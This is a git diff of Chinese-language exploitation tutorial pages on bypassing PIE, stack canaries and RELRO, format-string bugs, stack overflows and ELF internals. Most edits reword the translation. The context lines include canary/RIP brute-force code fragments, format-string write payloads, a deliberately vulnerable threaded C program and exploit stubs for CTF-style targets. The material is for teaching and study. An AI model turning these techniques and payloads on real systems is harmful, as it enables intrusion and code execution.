+在利用 PIE 二进制文件时，一个有用的提示是它们的 **基地址通常以 000 结尾**，这是因为内存页是随机化的单位，大小为 0x1000 字节。如果一个漏洞没有按预期工作，这种对齐可以是一个关键的 **检查**，指示是否已识别正确的基地址。\
 或者您可以将其用于您的漏洞利用，如果您泄露了一个地址位于 **`0x649e1024`**，您就知道 **基地址是 `0x649e1000`**，然后您可以 **计算** 函数和位置的偏移量。
 
 ## 绕过方法
 
 为了绕过 PIE，需要 **泄露已加载二进制文件的某个地址**，有一些选项可以做到这一点：
 
-- **禁用 ASLR**：如果 ASLR 被禁用，编译为 PIE 的二进制文件总是 **会加载到相同的地址**，因此 **PIE 将变得无用**，因为对象的地址总是会在同一位置。
-- 被 **给出** 泄露（在简单的 CTF 挑战中常见， [**查看这个例子**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)）
+- **禁用 ASLR**：如果 ASLR 被禁用，编译为 PIE 的二进制文件总是 **会加载到相同的地址**，因此 **PIE 将变得无用**，因为对象的地址总是会在同一个地方。
+- 被 **给出** 泄露（在简单的 CTF 挑战中常见， [**查看此示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)）
 - 在栈中 **暴力破解 EBP 和 EIP 值**，直到您泄露正确的值：
 
 {{#ref}}
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- 使用任意读取漏洞，例如 [**格式字符串**](../../format-strings/) 来泄露二进制文件的地址（例如，从栈中，如前面的技术所示）以获取二进制文件的基地址并从那里使用偏移量。[**在这里找到一个例子**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
+- 使用任意读取漏洞，例如 [**格式字符串**](../../format-strings/) 来泄露二进制文件的地址（例如，从栈中，如前面的技术所示）以获取二进制文件的基地址并从那里使用偏移量。[**在这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
 
 ## 参考
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
index b75f8c463..e252448ec 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
@@ -7,13 +7,13 @@
 ![](<../../../../images/image (144).png>)
 
 > [!NOTE]
-> 请注意，**`checksec`** 可能无法发现一个二进制文件受到 canary 保护，如果它是静态编译的，并且无法识别该函数。\
-> 然而，如果你发现一个值在函数调用开始时保存在栈中，并且在退出之前检查了这个值，你可以手动注意到这一点。
+> 请注意，如果二进制文件是静态编译的，**`checksec`** 可能无法发现其受到 canary 保护，并且它无法识别该函数。\
+> 然而，如果你发现一个值在函数调用开始时被保存到栈中，并且在退出之前检查了这个值，你可以手动注意到这一点。
 
 ## 暴力破解地址
 
 为了绕过 PIE，你需要 **泄露一些地址**。如果二进制文件没有泄露任何地址，最好的方法是 **暴力破解在脆弱函数中保存的 RBP 和 RIP**。\
-例如，如果一个二进制文件同时受到 **canary** 和 **PIE** 的保护，你可以开始暴力破解 canary，然后 **接下来的** 8 字节（x64）将是保存的 **RBP**，**接下来的** 8 字节将是保存的 **RIP**。
+例如，如果一个二进制文件同时使用 **canary** 和 **PIE** 进行保护，你可以开始暴力破解 canary，然后 **接下来的** 8 字节（x64）将是保存的 **RBP**，**接下来的** 8 字节将是保存的 **RIP**。
 
 > [!TIP]
 > 假设栈中的返回地址属于主二进制代码，如果漏洞位于二进制代码中，通常会是这种情况。
@@ -66,14 +66,14 @@ print("Brute-Forcing RIP")
 base_canary_rbp_rip = get_bf(base_canary_rbp)
 RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
 ```
-要击败 PIE，您需要做的最后一件事是计算 **从泄露的** 地址中得出的 **有用地址**：**RBP** 和 **RIP**。
+您需要击败 PIE 的最后一件事是计算 **从泄露的地址中获取有用的地址**：**RBP** 和 **RIP**。
 
-从 **RBP** 您可以计算 **您在栈中写入 shell 的位置**。这对于知道您将要在栈中写入字符串 _"/bin/sh\x00"_ 的位置非常有用。要计算泄露的 RBP 和您的 shellcode 之间的距离，您只需在泄露 RBP 后放置一个 **断点**，并检查 **您的 shellcode 位于何处**，然后，您可以计算 shellcode 和 RBP 之间的距离：
+从 **RBP** 您可以计算 **您在栈中写入 shell 的位置**。这对于知道您将要在栈中写入字符串 _"/bin/sh\x00"_ 的位置非常有用。要计算泄露的 RBP 和您的 shellcode 之间的距离，您只需在泄露 RBP 后放置一个 **断点** 并检查 **您的 shellcode 位于何处**，然后，您可以计算 shellcode 和 RBP 之间的距离：
 ```python
 INI_SHELLCODE = RBP - 1152
 ```
 从 **RIP** 中可以计算出 **PIE 二进制文件的基地址**，这是创建 **有效 ROP 链** 所需的。\
-要计算基地址，只需执行 `objdump -d vunbinary` 并检查最新的反汇编地址：
+要计算基地址，只需执行 `objdump -d vunbinary` 并检查反汇编的最新地址：
 
 ![](<../../../../images/image (145).png>)
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md
index 34c17538c..a4e5ad32c 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md
@@ -4,11 +4,11 @@
 
 ## Relro
 
-**RELRO** 代表 **Relocation Read-Only**，它是用于二进制文件的安全特性，旨在减轻与 **GOT (Global Offset Table)** 覆盖相关的风险。让我们将这个概念分解为两个不同的类型以便于理解：**部分 RELRO** 和 **完全 RELRO**。
+**RELRO** 代表 **Relocation Read-Only**，它是用于二进制文件的安全特性，旨在减轻与 **GOT (Global Offset Table)** 重写相关的风险。让我们将这个概念分解为两个不同的类型以便于理解：**部分 RELRO** 和 **完全 RELRO**。
 
 ### **部分 RELRO**
 
-**部分 RELRO** 采用更简单的方法来增强安全性，而不会显著影响二进制文件的性能。通过 **将 GOT 放置在程序变量的上方，部分 RELRO 旨在防止缓冲区溢出到达并破坏 GOT**。&#x20;
+**部分 RELRO** 采取更简单的方法来增强安全性，而不会显著影响二进制文件的性能。通过 **将 GOT 放置在程序变量的上方，部分 RELRO 旨在防止缓冲区溢出到达并破坏 GOT**。&#x20;
 
 这 **并不防止 GOT** 被 **任意写入** 漏洞利用。
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md
index 5f8d173c6..e98e2a3c4 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md
@@ -12,7 +12,7 @@
 
 该机制在 **EBP** 之前放置一个 **canary**，并重新组织局部变量以将缓冲区放置在更高的内存地址，从而防止它们覆盖其他变量。它还安全地复制传递到栈上的参数，并使用这些副本作为参数。然而，它不保护少于 8 个元素的数组或用户结构中的缓冲区。
 
-**canary** 是从 `/dev/urandom` 派生的随机数或默认值 `0xff0a0000`。它存储在 **TLS (线程局部存储)** 中，允许跨线程共享内存空间具有线程特定的全局或静态变量。这些变量最初从父进程复制，子进程可以在不影响父进程或兄弟进程的情况下更改其数据。然而，如果 **`fork()` 在不创建新 canary 的情况下使用，所有进程（父进程和子进程）共享相同的 canary**，使其变得脆弱。在 **i386** 架构中，canary 存储在 `gs:0x14`，在 **x86_64** 中，存储在 `fs:0x28`。
+**canary** 是从 `/dev/urandom` 派生的随机数或默认值 `0xff0a0000`。它存储在 **TLS (线程局部存储)** 中，允许跨线程共享内存空间具有线程特定的全局或静态变量。这些变量最初从父进程复制，子进程可以在不影响父进程或兄弟进程的情况下更改其数据。然而，如果 **`fork()` 在不创建新 canary 的情况下使用，所有进程（父进程和子进程）将共享相同的 canary**，使其变得脆弱。在 **i386** 架构中，canary 存储在 `gs:0x14`，在 **x86_64** 中，存储在 `fs:0x28`。
 
 这种本地保护识别具有缓冲区的函数，这些缓冲区易受攻击，并在这些函数的开头注入代码以放置 canary，在结尾验证其完整性。
 
@@ -57,7 +57,7 @@ print-stack-canary.md
 
 - **修改 `__stack_chk_fail` 的 GOT 条目**
 
-如果二进制文件具有部分 RELRO，则可以使用任意写入修改 `__stack_chk_fail` 的 GOT 条目，使其成为一个不会阻止程序的虚拟函数，如果 canary 被修改。
+如果二进制文件具有部分 RELRO，则可以使用任意写入来修改 `__stack_chk_fail` 的 GOT 条目，使其成为一个不会阻止程序的虚拟函数，如果 canary 被修改。
 
 ## 参考
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index e97d7d928..65325ca70 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -12,7 +12,7 @@
 
 ## Brute force Canary
 
-绕过简单 canary 的最佳方法是，如果二进制文件是一个**每次你与它建立新连接时都会派生子进程的程序**（网络服务），因为每次你连接到它时**将使用相同的 canary**。
+绕过简单 canary 的最佳方法是，如果二进制文件是一个**每次你与它建立新连接时都会分叉子进程的程序**（网络服务），因为每次你连接到它时**将使用相同的 canary**。
 
 因此，绕过 canary 的最佳方法就是**逐字符暴力破解**，你可以通过检查程序是否崩溃或继续其正常流程来判断猜测的 canary 字节是否正确。在这个例子中，函数**暴力破解一个 8 字节的 canary（x64）**，并通过**检查**服务器是否发送了**响应**来区分正确猜测的字节和错误的字节（在**其他情况下**，另一种方法可以使用**try/except**）：
 
@@ -103,13 +103,13 @@ log.info(f"The canary is: {canary}")
 ```
 ## 线程
 
-同一进程的线程将**共享相同的 canary token**，因此如果二进制文件在每次发生攻击时生成一个新线程，就有可能**暴力破解**一个 canary。&#x20;
+同一进程的线程将**共享相同的 canary token**，因此如果二进制文件在每次发生攻击时都会生成一个新线程，就有可能**暴力破解**一个 canary。&#x20;
 
-在受 canary 保护的线程函数中发生的缓冲区溢出可以用来修改进程的主 canary。因此，这种缓解措施是无效的，因为检查是使用两个相同的 canary（尽管已被修改）。
+在使用 canary 保护的线程函数中发生的缓冲区溢出可以用来修改进程的主 canary。因此，这种缓解措施是无效的，因为检查使用的是两个相同的 canary（尽管已被修改）。
 
 ### 示例
 
-以下程序易受缓冲区溢出攻击，但它是用 canary 编译的：
+以下程序易受缓冲区溢出攻击，但它是使用 canary 编译的：
 ```c
 #include <pthread.h>
 #include <stdlib.h>
@@ -149,7 +149,7 @@ gef> x/10gx $rdi
 0x7ffff7d7ee50: 0x0000000000000000      0x00007ffff7e17ac3
 0x7ffff7d7ee60: 0x0000000000000000      0x00007ffff7d7f640
 ```
-上述内容表示 `data` 的地址，程序将在此写入用户输入。栈金丝雀位于 `0x7ffff7d7ee48` (`0x493fdc653a156800`)，返回地址位于 `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`)：
+上述内容表示 `data` 的地址，程序将在此写入用户输入。栈金丝雀位于 `0x7ffff7d7ee48` (`0x493fdc653a156800`)，返回地址位于 `0x7ffff7d7ee50` (`0x00007ffff7e17ac3`):
 ```bash
 gef> telescope $rdi 8 -n
 0x7ffff7d7ee20|+0x0000|+000: 0x0000000000000000  <-  $rdi
@@ -161,7 +161,7 @@ gef> telescope $rdi 8 -n
 0x7ffff7d7ee50|+0x0030|+006: 0x0000000000000000  <-  $rbp
 0x7ffff7d7ee58|+0x0038|+007: 0x00007ffff7e17ac3 <start_thread+0x2f3>  ->  0xe8ff31fffffe6fe9  <-  retaddr[2]
 ```
-注意，栈地址不属于实际的栈：
+注意，堆栈地址不属于实际的堆栈：
 ```bash
 gef> vmmap stack
 [ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
@@ -193,7 +193,7 @@ $tls = 0x7ffff7d7f640
 gef> p/x 0x7ffff7d7f668 - $rdi
 $1 = 0x848
 ```
-这是一个短小的利用来调用 `win`：
+这是一个简短的利用来调用 `win`：
 ```python
 from pwn import *
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
index 78695c893..59b9290e2 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
@@ -6,11 +6,11 @@
 
 想象一个情况，其中一个 **易受攻击的程序** 可以执行一个 **puts** 函数 **指向** **栈溢出** 的 **部分**。攻击者知道 **金丝雀的第一个字节是一个空字节** (`\x00`)，其余的金丝雀是 **随机** 字节。然后，攻击者可以创建一个溢出，**覆盖栈直到金丝雀的第一个字节**。
 
-然后，攻击者 **在有效负载的中间调用 puts 功能**，这将 **打印所有金丝雀**（除了第一个空字节）。
+然后，攻击者在有效负载的中间 **调用 puts 功能**，这将 **打印所有金丝雀**（除了第一个空字节）。
 
 有了这些信息，攻击者可以 **制作并发送一个新攻击**，知道金丝雀（在同一程序会话中）。
 
-显然，这种策略是非常 **受限** 的，因为攻击者需要能够 **打印** 他的 **有效负载** 的 **内容** 来 **提取** **金丝雀**，然后能够创建一个新有效负载（在 **同一程序会话** 中）并 **发送** **真实的缓冲区溢出**。
+显然，这种策略是非常 **受限** 的，因为攻击者需要能够 **打印** 他的 **有效负载** 的 **内容** 来 **提取** **金丝雀**，然后能够创建一个新的有效负载（在 **同一程序会话** 中）并 **发送** **真实的缓冲区溢出**。
 
 **CTF 示例：**&#x20;
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md
index a92db2451..7151b6965 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md
@@ -37,7 +37,7 @@ Segment Sections...
 07
 08     .init_array .fini_array .dynamic .got
 ```
-之前的程序有 **9 个程序头**，然后，**段映射** 指示 **每个节所在的程序头**（从 00 到 08）。
+之前的程序有 **9 个程序头**，然后，**段映射** 指示每个节位于哪个程序头（从 00 到 08）。
 
 ### PHDR - 程序头
 
@@ -50,17 +50,17 @@ Segment Sections...
 ### LOAD
 
 这些头用于指示 **如何将二进制文件加载到内存中。**\
-每个 **LOAD** 头指示一个 **内存** 区域（大小、权限和对齐）并指示要复制到那里 ELF **二进制文件的字节**。
+每个 **LOAD** 头指示一个 **内存** 区域（大小、权限和对齐），并指示要复制到该区域的 ELF **二进制文件的字节**。
 
-例如，第二个的大小为 0x1190，应该位于 0x1fc48，权限为读和写，并将从偏移量 0xfc48 填充 0x528（它并没有填满所有的保留空间）。这段内存将包含节 `.init_array .fini_array .dynamic .got .data .bss`。
+例如，第二个的大小为 0x1190，应该位于 0x1fc48，具有读写权限，并将从偏移量 0xfc48 填充 0x528（它并没有填满所有的保留空间）。该内存将包含节 `.init_array .fini_array .dynamic .got .data .bss`。
 
 ### DYNAMIC
 
-此头有助于将程序链接到其库依赖项并应用重定位。检查 **`.dynamic`** 节。
+该头有助于将程序链接到其库依赖项并应用重定位。检查 **`.dynamic`** 节。
 
 ### NOTE
 
-此处存储有关二进制文件的供应商元数据信息。
+这存储有关二进制文件的供应商元数据信息。
 
 ### GNU_EH_FRAME
 
@@ -190,7 +190,7 @@ Num:    Value          Size Type    Bind   Vis      Ndx Name
 - **名称**
 - **绑定属性**（弱、局部或全局）：局部符号只能被程序本身访问，而全局符号则在程序外部共享。弱对象例如是可以被不同函数覆盖的函数。
 - **类型**：NOTYPE（未指定类型）、OBJECT（全局数据变量）、FUNC（函数）、SECTION（节）、FILE（调试器的源代码文件）、TLS（线程局部变量）、GNU_IFUNC（用于重定位的间接函数）
-- **节**：它所在的索引
+- **节**索引位置
 - **值**（内存中的地址）
 - **大小**
 
@@ -314,11 +314,11 @@ Offset          Info           Type           Sym. Value    Sym. Name + Addend
 
 ### 动态重定位和GOT
 
-重定位也可以引用外部符号（如依赖项中的函数）。例如，libC中的malloc函数。然后，加载器在加载libC时检查malloc函数加载的位置，它会将此地址写入GOT（全局偏移表）中（在重定位表中指示），其中应指定malloc的地址。
+重定位也可以引用外部符号（如依赖项中的函数）。例如，libC中的malloc函数。然后，加载器在加载libC时检查malloc函数加载的位置，它会将此地址写入GOT（全局偏移表）（在重定位表中指示）中，malloc的地址应该在此处指定。
 
 ### 过程链接表
 
-PLT节允许执行惰性绑定，这意味着函数位置的解析将在第一次访问时进行。
+PLT节允许执行懒绑定，这意味着函数位置的解析将在第一次访问时进行。
 
 因此，当程序调用malloc时，它实际上调用的是PLT中`malloc`的相应位置（`malloc@plt`）。第一次调用时，它解析`malloc`的地址并存储，以便下次调用`malloc`时，使用该地址而不是PLT代码。
 
@@ -345,7 +345,7 @@ printf("Main\n");
 return 0;
 }
 ```
-请注意，这些全局变量位于 `.data` 或 `.bss` 中，但在 `__CTOR_LIST__` 和 `__DTOR_LIST__` 列表中，初始化和析构的对象按顺序存储，以便跟踪它们。
+注意，这些全局变量位于 `.data` 或 `.bss` 中，但在 `__CTOR_LIST__` 和 `__DTOR_LIST__` 列表中，初始化和析构的对象按顺序存储，以便跟踪它们。
 
 从 C 代码中，可以使用 GNU 扩展获得相同的结果：
 ```c
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md
index b0c309624..7e7e8dc00 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md
@@ -4,9 +4,9 @@
 
 ## 基本信息
 
-在 C 中，**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式的原始文本**。后续的 **参数** 是 **替代** 原始文本中 **格式化符** 的 **值**。
+在 C 中，**`printf`** 是一个可以用来 **打印** 字符串的函数。该函数期望的 **第一个参数** 是 **带格式化符的原始文本**。后续的 **参数** 是 **替代** 原始文本中 **格式化符** 的 **值**。
 
-当 **攻击者的文本作为第一个参数** 被用作此函数时，漏洞就会出现。攻击者将能够构造一个 **特殊输入，利用** **printf 格式** 字符串的能力来读取和 **写入任何地址（可读/可写）** 中的 **任何数据**。这样就能够 **执行任意代码**。
+当 **攻击者的文本作为该函数的第一个参数** 时，就会出现漏洞。攻击者将能够构造一个 **特殊输入，利用** **printf 格式** 字符串的能力来读取和 **写入任何地址（可读/可写）** 中的 **任何数据**。这样就能够 **执行任意代码**。
 
 #### 格式化符：
 ```bash
@@ -56,7 +56,7 @@ printf("$4%x")
 
 ## **任意读取**
 
-可以使用格式化器 **`$n%s`** 使 **`printf`** 获取位于 **n 位置** 的 **地址**，并 **将其打印为字符串**（打印直到找到 0x00）。因此，如果二进制文件的基地址是 **`0x8048000`**，并且我们知道用户输入从栈的第 4 个位置开始，则可以使用以下方式打印二进制文件的开头：
+可以使用格式化器 **`$n%s`** 使 **`printf`** 获取位于 **n 位置** 的 **地址**，并将其 **作为字符串打印**（打印直到找到 0x00）。因此，如果二进制文件的基地址是 **`0x8048000`**，并且我们知道用户输入从栈的第四个位置开始，则可以使用以下方式打印二进制文件的开头：
 ```python
 from pwn import *
 
@@ -70,7 +70,7 @@ p.sendline(payload)
 log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
 ```
 > [!CAUTION]
-> 注意，您不能将地址 0x8048000 放在输入的开头，因为字符串将在该地址的末尾以 0x00 截断。
+> 注意，您不能将地址 0x8048000 放在输入的开头，因为字符串将在该地址的末尾以 0x00 结束。
 
 ## **任意写入**
 
@@ -81,7 +81,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
 AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
 AAAA.%500\$08x —> Param at offset 500
 ```
-然而，请注意，通常为了写入一个地址，例如 `0x08049724`（这是一个一次性写入的巨大数字），**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此，这个操作需要进行两次，一次用于地址的最高 2B，另一次用于最低的部分。
+然而，请注意，通常为了写入一个地址，例如 `0x08049724`（这是一个一次性写入的巨大数字），**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此，这个操作需要进行两次，一次是针对地址的高 2B，另一次是针对低 2B。
 
 因此，这个漏洞允许**在任何地址写入任何内容（任意写入）。**
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md
index 40a48e5a2..4192a9a18 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md
@@ -4,12 +4,12 @@
 
 ## 什么是栈溢出
 
-**栈溢出**是一种漏洞，当程序向栈写入的数据超过其分配的容量时就会发生。这些多余的数据将**覆盖相邻的内存空间**，导致有效数据的损坏、控制流的中断，并可能执行恶意代码。这个问题通常是由于使用不安全的函数而引起的，这些函数对输入没有进行边界检查。
+一个 **栈溢出** 是一种漏洞，当程序向栈中写入的数据超过其分配的容量时，就会发生这种情况。这些多余的数据将 **覆盖相邻的内存空间**，导致有效数据的损坏、控制流的中断，以及潜在的恶意代码执行。这个问题通常是由于使用不安全的函数而引起的，这些函数对输入没有进行边界检查。
 
-这个覆盖的主要问题是**保存的指令指针 (EIP/RIP)** 和**保存的基指针 (EBP/RBP)** 用于返回到上一个函数，它们是**存储在栈上的**。因此，攻击者将能够覆盖这些并**控制程序的执行流**。
+这个覆盖的主要问题是 **保存的指令指针 (EIP/RIP)** 和 **保存的基指针 (EBP/RBP)** 用于返回到上一个函数，它们是 **存储在栈上的**。因此，攻击者将能够覆盖这些指针并 **控制程序的执行流**。
 
-该漏洞通常是因为一个函数**在栈中复制的字节数超过了为其分配的数量**，因此能够覆盖栈的其他部分。\
-一些常见的易受攻击的函数包括：`strcpy`、`strcat`、`sprintf`、`gets`... 此外，像`fgets`或`read`这样的函数，如果指定的长度大于分配的长度，可能会以脆弱的方式使用。
+该漏洞通常是因为一个函数 **在栈中复制的字节数超过了为其分配的数量**，因此能够覆盖栈的其他部分。\
+一些常见的易受攻击的函数包括： `strcpy`、`strcat`、`sprintf`、`gets`... 另外，像 `fgets` 或 `read` 这样的函数，如果指定的长度大于分配的长度，也可能以脆弱的方式使用。
 
 例如，以下函数可能是脆弱的：
 ```c
@@ -50,13 +50,13 @@ pattern search $rsp #Search the offset given the content of $rsp
 ## 利用栈溢出
 
 在溢出期间（假设溢出大小足够大），您将能够覆盖栈内局部变量的值，直到达到保存的 EBP/RBP 和 EIP/RIP（甚至更多）。\
-滥用这种类型漏洞的最常见方法是 **修改返回地址**，这样当函数结束时，**控制流将被重定向到用户在此指针中指定的地方**。
+滥用这种类型漏洞的最常见方法是 **修改返回地址**，这样当函数结束时，**控制流将被重定向到用户在此指针中指定的任何位置**。
 
 然而，在其他场景中，仅仅 **覆盖栈中某些变量的值** 可能就足以进行利用（例如在简单的 CTF 挑战中）。
 
 ### Ret2win
 
-在这种类型的 CTF 挑战中，二进制文件中有一个 **函数** **从未被调用**，而且 **您需要调用它才能获胜**。对于这些挑战，您只需找到 **覆盖返回地址的偏移量** 和 **找到要调用的函数的地址**（通常 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 会被禁用），这样当易受攻击的函数返回时，隐藏的函数将被调用：
+在这种类型的 CTF 挑战中，二进制文件中有一个 **从未被调用的函数**，而且 **您需要调用它才能获胜**。对于这些挑战，您只需找到 **覆盖返回地址的偏移量** 并 **找到要调用的函数的地址**（通常 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 会被禁用），这样当易受攻击的函数返回时，隐藏的函数将被调用：
 
 {{#ref}}
 ret2win.md
@@ -72,7 +72,7 @@ stack-shellcode.md
 
 ## ROP
 
-该技术是绕过前一种技术主要保护的基本框架：**不可执行栈**（NX）。它允许执行其他几种技术（ret2lib, ret2syscall...），最终通过滥用二进制中的现有指令执行任意命令：
+该技术是绕过前一种技术主要保护措施的基本框架：**不可执行栈**（NX）。它允许执行其他几种技术（ret2lib，ret2syscall...），最终通过滥用二进制文件中的现有指令执行任意命令：
 
 {{#ref}}
 rop-return-oriented-programing.md
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md
index 86a687b73..6ae96eaea 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md
@@ -4,11 +4,11 @@
 
 ## 字符串指针
 
-如果一个函数调用将使用位于栈中的字符串地址，可以利用缓冲区溢出来**覆盖这个地址**并在二进制文件中放入**指向不同字符串的地址**。
+如果一个函数调用将使用位于栈中的字符串地址，可以利用缓冲区溢出来**覆盖这个地址**并在二进制文件中放入**指向另一个字符串的地址**。
 
-例如，如果**`system`**函数调用将**使用字符串的地址来执行命令**，攻击者可以在栈中放置**指向不同字符串的地址**，**`export PATH=.:$PATH`**，并在当前目录中创建一个**以新字符串的首字母命名的脚本**，因为这个脚本将由二进制文件执行。
+例如，如果一个**`system`**函数调用将**使用字符串的地址来执行命令**，攻击者可以在栈中放置**指向另一个字符串的地址**，**`export PATH=.:$PATH`**，并在当前目录中创建一个**以新字符串的首字母命名的脚本**，因为这个脚本将由二进制文件执行。
 
-你可以在以下链接找到这个例子：
+你可以在以下链接找到这个例子的相关内容：
 
 - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
 - [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html)
@@ -18,7 +18,7 @@
 
 与字符串指针相同，但应用于函数，如果**栈中包含将被调用的函数的地址**，则可以**更改它**（例如，调用**`system`**）。
 
-你可以在以下链接找到一个例子：
+你可以在以下链接找到这个例子的相关内容：
 
 - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md
index 69f7e9c81..f3e3675c5 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md
@@ -40,7 +40,7 @@ call qword [r15 + rbx*8];
 这就是 **ret2csu** 发挥作用的地方：
 
 1. **设置寄存器**：使用第一个魔法 gadget 从栈中弹出值并放入 rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) 和 r15。
-2. **使用第二个 gadget**：在这些寄存器设置好后，你使用第二个 gadget。这让你可以将选择的值移动到 `rdx` 和 `rsi`（分别来自 r14 和 r13），为函数调用准备参数。此外，通过控制 `r15` 和 `rbx`，你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 地址的函数。
+2. **使用第二个 gadget**：在这些寄存器设置好后，使用第二个 gadget。这让你可以将选择的值移动到 `rdx` 和 `rsi`（分别来自 r14 和 r13），为函数调用准备参数。此外，通过控制 `r15` 和 `rbx`，你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 的地址的函数。
 
 你有一个 [**使用此技术并在此处解释的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)，这是它使用的最终利用：
 ```python
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md
index aae843858..96b2c9412 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md
@@ -4,16 +4,16 @@
 
 ## 基本信息
 
